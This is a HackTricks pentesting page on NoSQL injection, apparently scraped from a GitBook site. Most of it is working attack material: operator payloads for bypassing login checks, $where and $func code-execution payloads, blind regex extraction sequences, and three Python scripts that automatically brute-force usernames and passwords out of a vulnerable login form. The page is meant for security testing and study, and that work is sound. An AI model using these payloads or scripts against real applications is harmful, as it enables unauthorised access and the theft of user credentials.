HackTricks
Search…
Pentesting
Powered By GitBook
NoSQL injection
NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.

Exploit

In PHP you can send an Array changing the sent parameter from parameter=foo to parameter[arrName]=foo.
The exploits are based in adding an Operator:
1
username[$ne]=1$password[$ne]=1 #<Not Equals>
2
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
3
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
4
username[$eq]=admin&password[$ne]=1 #<Equals>
5
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
6
username[$ne]=admin&pass[$gt]=s #<Greater Than>
7
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
8
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
Copied!

Basic authentication bypass

Using not equal ($ne) or greater ($gt)
1
#in URL
2
username[$ne]=toto&password[$ne]=toto
3
username[$regex]=.*&password[$regex]=.*
4
username[$exists]=true&password[$exists]=true
5
6
#in JSON
7
{"username": {"$ne": null}, "password": {"$ne": null} }
8
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
9
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
Copied!

SQL - Mongo

1
Normal sql: ' or 1=1-- -
2
Mongo sql: ' || 1==1// or ' || 1==1%00
Copied!

Extract length information

1
username[$ne]=toto&password[$regex]=.{1}
2
username[$ne]=toto&password[$regex]=.{3}
3
# True if the length equals 1,3...
Copied!

Extract data information

1
in URL (if length == 3)
2
username[$ne]=toto&password[$regex]=a.{2}
3
username[$ne]=toto&password[$regex]=b.{2}
4
...
5
username[$ne]=toto&password[$regex]=m.{2}
6
username[$ne]=toto&password[$regex]=md.{1}
7
username[$ne]=toto&password[$regex]=mdp
8
9
username[$ne]=toto&password[$regex]=m.*
10
username[$ne]=toto&password[$regex]=md.*
11
12
in JSON
13
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
14
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
15
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
Copied!

SQL - Mongo

1
/?search=admin' && this.password%00 --> Check if the field password exists
2
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
3
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
4
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
5
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
6
...
7
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
8
...
9
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
Copied!

PHP Arbitrary Function Execution

Using the $func operator of the MongoLite library (used by default) it might be possible to execute and arbitrary function as in this report.
1
"user":{"$func": "var_dump"}
Copied!

Blind NoSQL

1
import requests, string
2
3
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "[email protected]{}-/()!\"$%=^[]:;"
4
5
flag = ""
6
for i in range(21):
7
print("[i] Looking for char number "+str(i+1))
8
for char in alphabet:
9
r = requests.get("http://chall.com?param=^"+flag+char)
10
if ("<TRUE>" in r.text):
11
flag += char
12
print("[+] Flag: "+flag)
13
break
Copied!
1
import requests
2
import urllib3
3
import string
4
import urllib
5
urllib3.disable_warnings()
6
7
username="admin"
8
password=""
9
10
while True:
11
for c in string.printable:
12
if c not in ['*','+','.','?','|']:
13
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
14
r = requests.post(u, data = {'ids': payload}, verify = False)
15
if 'OK' in r.text:
16
print("Found one more char : %s" % (password+c))
17
password += c
Copied!

MongoDB Payloads

1
true, $where: '1 == 1'
2
, $where: '1 == 1'
3
$where: '1 == 1'
4
', $where: '1 == 1'
5
1, $where: '1 == 1'
6
{ $ne: 1 }
7
', $or: [ {}, { 'a':'a
8
' } ], $comment:'successful MongoDB injection'
9
db.injection.insert({success:1});
10
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
11
|| 1==1
12
' && this.password.match(/.*/)//+%00
13
' && this.passwordzz.match(/.*/)//+%00
14
'%20%26%26%20this.password.match(/.*/)//+%00
15
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
16
{$gt: ''}
17
[$ne]=1
Copied!

Tools

Brute-force login usernames and passwords from POST login

1
import requests
2
import string
3
4
url = "http://example.com"
5
headers = {"Host": "exmaple.com"}
6
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
7
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
8
def get_password(username):
9
print("Extracting password of "+username)
10
params = {"username":username, "password[$regex]":"", "login": "login"}
11
password = "^"
12
while True:
13
for c in possible_chars:
14
params["password[$regex]"] = password + c + ".*"
15
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
16
if int(pr.status_code) == 302:
17
password += c
18
break
19
if c == possible_chars[-1]:
20
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
21
return password[1:].replace("\\", "")
22
23
def get_usernames():
24
usernames = []
25
params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
26
for c in possible_chars:
27
username = "^" + c
28
params["username[$regex]"] = username + ".*"
29
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
30
if int(pr.status_code) == 302:
31
print("Found username starting with "+c)
32
while True:
33
for c2 in possible_chars:
34
params["username[$regex]"] = username + c2 + ".*"
35
if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
36
username += c2
37
print(username)
38
break
39
40
if c2 == possible_chars[-1]:
41
print("Found username: "+username[1:])
42
usernames.append(username[1:])
43
break
44
return usernames
45
46
47
for u in get_usernames():
48
get_password(u)
49
Copied!

References

EN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf
453KB
PDF
Last modified 3mo ago